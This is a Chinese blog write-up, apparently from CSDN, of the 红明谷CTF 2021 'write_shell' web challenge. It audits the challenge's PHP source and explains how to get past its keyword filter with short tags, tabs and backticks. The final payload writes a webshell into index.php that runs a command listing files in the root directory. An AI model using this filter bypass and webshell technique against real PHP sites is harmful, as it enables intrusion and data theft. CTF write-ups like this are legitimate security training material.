[红明谷CTF 2021]write_shell

该博客详细介绍了红明谷CTF2021中write_shell挑战的代码审计过程和漏洞利用方法。通过分析源码,发现上传路径和过滤规则,利用特殊字符绕过过滤,成功写入payload到index.php。最后通过访问上传的index.php查看结果,验证payload执行成功。
摘要由CSDN通过智能技术生成

[红明谷CTF 2021]write_shell

代码审计

题目给出了源码

<?php
error_reporting(0);
highlight_file(__FILE__);
//检查是否还有违规符号
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}
//把input的值进行check,分为数组和非数组两种情况
function waf($input){
	//判断input是否为数组
  if(is_array($input)){
      foreach($input as $key=>$output){
		  //每一次循环,当前数组元素的键与值就都会被赋值给 $key 和 $output 变量(数字指针会逐一地移动),在进行下一次循环时,你将看到数组中的下一个键与值。
          //调用Waf函数,也就是进行一个check,如果通过check,返回原值
		  $input[$key] = waf($output);
      }
  }else{
	  //同样是check
      $input = check($input);
  }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
//如果$_GET['action']不为null,则返回$_GET['action'];否则返回null
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
		//对data进行检查
        waf($data);
		//生成index.php
        file_put_contents("$dir" . "index.php", $data);
}
?>

分析可得思路:

传参action=pwd时,会得到上传路径sandbox/cc551ab005b2e60fbdc88de809b2c4b1/

image-20211230202222198

传参action=upload时,可以写入index.php,写入的内容是我们GET方式传入的data中的内容

  • 过滤了php字符,使用<?=可以代替
  • 过滤了空格,可以使用\t代替
  • 过滤了;,可以使用``进行代替

比如1.php

<?php
system("ls");
?>

2.php

<?=
`ls`
?>

1.php和2.php的作用是一样的,都是显示当前目录文件

最后的payload

?action=upload&data=<?=`cat\t/*`?>

没有回显hacker!!!,说明成功写入

然后访问上传的index.php

/sandbox/cc551ab005b2e60fbdc88de809b2c4b1/index.php

回显结果

image-20211230202842530

参考链接

  1. 红明谷 CTF2021 Web部分 WriteUp – glzjin (zhaoj.in)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值